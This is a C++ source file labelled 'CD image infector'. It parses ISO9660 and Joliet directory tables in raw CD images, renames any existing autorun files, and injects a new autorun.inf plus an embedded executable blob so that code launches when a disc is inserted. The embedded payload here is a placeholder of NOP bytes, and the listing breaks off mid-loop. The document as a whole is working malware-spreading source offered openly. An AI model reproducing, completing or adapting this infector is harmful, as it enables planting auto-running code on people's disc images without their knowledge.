ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[INFISO.CPP]ÄÄÄ // CD IMAGE INFECTOR #include #include #include #include #include #pragma hdrstop //#define DEBUG_DUMP #define MIN(x,y) ((x)<(y)?(x):(y)) #define MAX(x,y) ((x)>(y)?(x):(y)) #define BSWAP(x) (((x)>>24)| \ (((x)&0x00FF0000)>>8)| \ (((x)&0x0000FF00)<<8)| \ ((x)<<24)) extern "C" int __cdecl ecc(BYTE* buf); int autorun_inf_len = 29; BYTE* autorun_inf_ptr = "[autorun]\r\n"\ "open=autorun.exe\r\n"; int autorun_exe_len = 2049; BYTE* autorun_exe_ptr = "\xCC\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\xC3"; DWORD sector_size; void read_sector(FILE* f, DWORD sectornum, BYTE* sectorptr) { fseek(f, sectornum*sector_size, SEEK_SET); fread(sectorptr, 1,sector_size, f); } void write_sector(FILE* f, DWORD sectornum, BYTE* sectorptr) { if (sector_size == 2352) ecc(sectorptr); fseek(f, sectornum*sector_size, SEEK_SET); fwrite(sectorptr, 1,sector_size, f); } #define RES_INFECTED 1 #define RES_ALREDY 2 int infect_raw_image(char* fname) { // open image file FILE*f=fopen(fname, "rb+"); if (f==NULL) return -1; // check file length & etc DWORD l = filelength(fileno(f)); if ((l % 2048) == 0) sector_size = 2048; else if ((l % 2352) == 0) sector_size = 2352; else { fclose(f); return -2; } // process & check 1st 20 sectors, and also search for TOC sector #'s BYTE buf[2352]; DWORD mode = 0; DWORD delta = 0; DWORD toc_sector_1 = 0; DWORD toc_sector_2 = 0; DWORD toc_size_1; DWORD toc_size_2; for(int t=0; t<20; t++) { read_sector(f, t, buf); if (t == 0) { mode = sector_size == 2048 ? 1 : buf[15]; delta = sector_size == 2048 ? 0 : (mode == 1 ? 16 : 24); } if (sector_size != 2048) if ( (*(DWORD*)&buf[0] != 0xFFFFFF00) || // check sector id (*(DWORD*)&buf[4] != 0xFFFFFFFF) || // (*(DWORD*)&buf[8] != 0x00FFFFFF) || // ((mode != 1) && (mode != 2)) || (mode != (DWORD)buf[15]) ) { fclose(f); return -3; } if (*(DWORD*)&buf[delta] == 0x30444301) // CD0 { toc_sector_1 = *(DWORD*)&buf[ delta+0x9C+ 2 ]; toc_size_1 = *(DWORD*)&buf[ delta+0x9C+10 ]; // 2048-aligned } if (mode == 1) if (*(DWORD*)&buf[delta] == 0x30444302) // CD0 (MODE1 only) { toc_sector_2 = *(DWORD*)&buf[ delta+0x9C+ 2 ]; toc_size_2 = *(DWORD*)&buf[ delta+0x9C+10 ]; // 2048-aligned } } if (toc_sector_1 == 0) // TOC found? { fclose(f); return -4; } // process 1st TOC, ASCII names DWORD toc_insert_sector_1 = 0; DWORD toc_insert_offset_1 = 0; int modified_1 = 0; __int64 datetime = 0; for (DWORD i=0; i= (mode==1?0x30U:0x3CU)*2+2) // wanna insert 2 entries if enough space { toc_insert_sector_1 = s; toc_insert_offset_1 = j; } break; } datetime = *(__int64*)&buf[j+18]; BYTE namelen = *(BYTE*) &buf[j+0x20]; BYTE* nameptr = (BYTE*) &buf[j+0x21]; char name[256]; memcpy(name, nameptr, namelen); name[namelen] = 0; #ifdef DEBUG_DUMP DWORD sector = *(DWORD*)&buf[j+2]; DWORD size = *(DWORD*)&buf[j+8]; if (sector>s) printf("TOC_1:sector %08X size %08X name [%s]\n", sector, size, name); #endif if ( (strncmpi(name, "OUTARUN.INF",11)==0) || (strncmpi(name, "OUTARUN.EXE",11)==0) ) { fclose(f); return RES_ALREDY; } if ( (strncmpi(name, "AUTORUN.INF",11)==0) || (strncmpi(name, "AUTORUN.EXE",11)==0) ) { *(DWORD*)&nameptr[0] = 'OUTA'; modified_1++; } j += entrysize; } if (modified_1==2) // both .INF & .EXE { fclose(f); return RES_ALREDY; } if (modified_1) write_sector(f, s, buf); }// for each TOC1 sector if (toc_insert_sector_1 == 0) { fclose(f); return -5; // in this case root fnames may be modifed >|-) } // process 2nd TOC, long filenames [optionally] DWORD toc_insert_sector_2 = 0; DWORD toc_insert_offset_2 = 0; int modified_2 = 0; if (mode==1) // delta==0 if (toc_sector_2) { for (DWORD i=0; i= 0x3E*2+2) // wanna insert 2 entries if enough space { toc_insert_sector_2 = s; toc_insert_offset_2 = j; } break; } WORD namelen = *(WORD*) &buf[j+0x20]; wchar_t* nameptr= (wchar_t*)&buf[j+0x22]; wchar_t name[4096]; memcpy(name, nameptr, namelen); name[namelen/2] = 0; #ifdef DEBUG_DUMP DWORD sector = *(DWORD*)&buf[j+2]; DWORD size = *(DWORD*)&buf[j+8]; if (sector>s) printf("TOC_2:sector %08X size %08X name [%S]\n", sector, size, name); #endif if ( (_wcsicmp(name, L"AUTORUN.INF")==0) || (_wcsicmp(name, L"AUTORUN.EXE")==0) ) { wcsncpy(nameptr, L"OUTA", 4); modified_2++; } j += entrysize; } if (modified_2) write_sector(f, s, buf); }// for each TOC2 sector if (toc_insert_sector_2 == 0) { fclose(f); return -6; // in this case root fnames may be modifed >|-) } } // toc_sector_2 // here search for zero sectors. i think its not required ;) DWORD s0 = filelength(fileno(f)) / sector_size / 2; // middle of the image // initialize s1/s2 DWORD s1 = s0; // .inf DWORD s2 = s0 + (autorun_inf_len+2047)/2048; // .exe // insert TOC entries (ASCII) #ifdef DEBUG_DUMP printf("inserting TOC1 entries (sector %08X)...\n", toc_insert_sector_1); #endif read_sector(f, toc_insert_sector_1, buf); DWORD j = toc_insert_offset_1; *(WORD*) &buf[j+ 0] = mode==1?0x30:0x3C; memset(&buf[j+2], 0x00, *(WORD*)&buf[j+0]-2); *(DWORD*)&buf[j+ 2] = s1; // sector *(DWORD*)&buf[j+ 6] = BSWAP(s1); *(DWORD*)&buf[j+10] = autorun_inf_len; // file size *(DWORD*)&buf[j+14] = BSWAP(autorun_inf_len); *(__int64*)&buf[j+18] = datetime; *(DWORD*)&buf[j+24] = mode==2?0x24:0x0C; *(DWORD*)&buf[j+26] = 0x00010000; // dunno wtf is it. *(WORD*) &buf[j+30] = 0x0100; // *(BYTE*) &buf[j+32] = 13; strcpy((char*)&buf[j+33], "AUTORUN.INF;1"); if (mode==2) *(DWORD*)&buf[j+50]=0x4158550D; j += *(WORD*)&buf[j]; *(WORD*) &buf[j+ 0] = mode==1?0x30:0x3C; memset(&buf[j+2], 0x00, *(WORD*)&buf[j+0]-2); *(DWORD*)&buf[j+ 2] = s2; // sector *(DWORD*)&buf[j+ 6] = BSWAP(s2); *(DWORD*)&buf[j+10] = autorun_exe_len; // file size *(DWORD*)&buf[j+14] = BSWAP(autorun_exe_len); *(__int64*)&buf[j+18] = datetime; *(DWORD*)&buf[j+24] = mode==2?0x24:0x0C; *(DWORD*)&buf[j+26] = 0x00010000; *(WORD*) &buf[j+30] = 0x0100; *(BYTE*) &buf[j+32] = 13; strcpy((char*)&buf[j+33], "AUTORUN.EXE;1"); if (mode==2) *(DWORD*)&buf[j+50]=0x4158550D; j += *(WORD*)&buf[j]; *(WORD*)&buf[j] = 0x0000; write_sector(f, toc_insert_sector_1, buf); // insert TOC entries (long filenames) [optionally] if (mode==1) if (toc_sector_2) { #ifdef DEBUG_DUMP printf("inserting TOC2 entries (sector %08X)...\n", toc_insert_sector_2); #endif read_sector(f, toc_insert_sector_2, buf); DWORD j = toc_insert_offset_2; *(WORD*) &buf[j+ 0] = 0x003E; // 0x22+13*2+2 memset(&buf[j+2], 0x00, *(WORD*)&buf[j+0]-2); *(DWORD*)&buf[j+ 2] = s1; // sector *(DWORD*)&buf[j+ 6] = BSWAP(s1); *(DWORD*)&buf[j+10] = autorun_inf_len; // file size *(DWORD*)&buf[j+14] = BSWAP(autorun_inf_len); *(__int64*)&buf[j+18] = datetime; *(DWORD*)&buf[j+24] = mode==2?0x24:0x0C; *(DWORD*)&buf[j+26] = 0x00010000; // dunno wtf is it. *(WORD*) &buf[j+30] = 0x0100; // *(WORD*) &buf[j+32] = 13*2; wcscpy((wchar_t*)&buf[j+34], L"autorun.inf;1"); j += *(WORD*)&buf[j]; *(WORD*) &buf[j+ 0] = 0x003E; // 0x22+13*2+2 memset(&buf[j+2], 0x00, *(WORD*)&buf[j+0]-2); *(DWORD*)&buf[j+ 2] = s2; // sector *(DWORD*)&buf[j+ 6] = BSWAP(s2); *(DWORD*)&buf[j+10] = autorun_exe_len; // file size *(DWORD*)&buf[j+14] = BSWAP(autorun_exe_len); *(__int64*)&buf[j+18] = datetime; *(DWORD*)&buf[j+24] = mode==2?0x24:0x0C; *(DWORD*)&buf[j+26] = 0x00010000; *(WORD*) &buf[j+30] = 0x0100; *(WORD*) &buf[j+32] = 13*2; wcscpy((wchar_t*)&buf[j+34], L"autorun.exe;1"); j += *(WORD*)&buf[j]; *(WORD*)&buf[j] = 0x0000; write_sector(f, toc_insert_sector_2, buf); } // insert files // just 1 sector read_sector(f, s1, buf); if ((mode==2)&&(delta==24)) { *(DWORD*)&buf[16+0] = 0x00008800; // 8-byte sector data prefix for MODE2 *(DWORD*)&buf[16+4] = 0x00880000; } memset(&buf[delta], 0x00, 2048); strcpy(&buf[delta], autorun_inf_ptr); write_sector(f, s1, buf); // any # of sectors for (int t=0, s=s2; t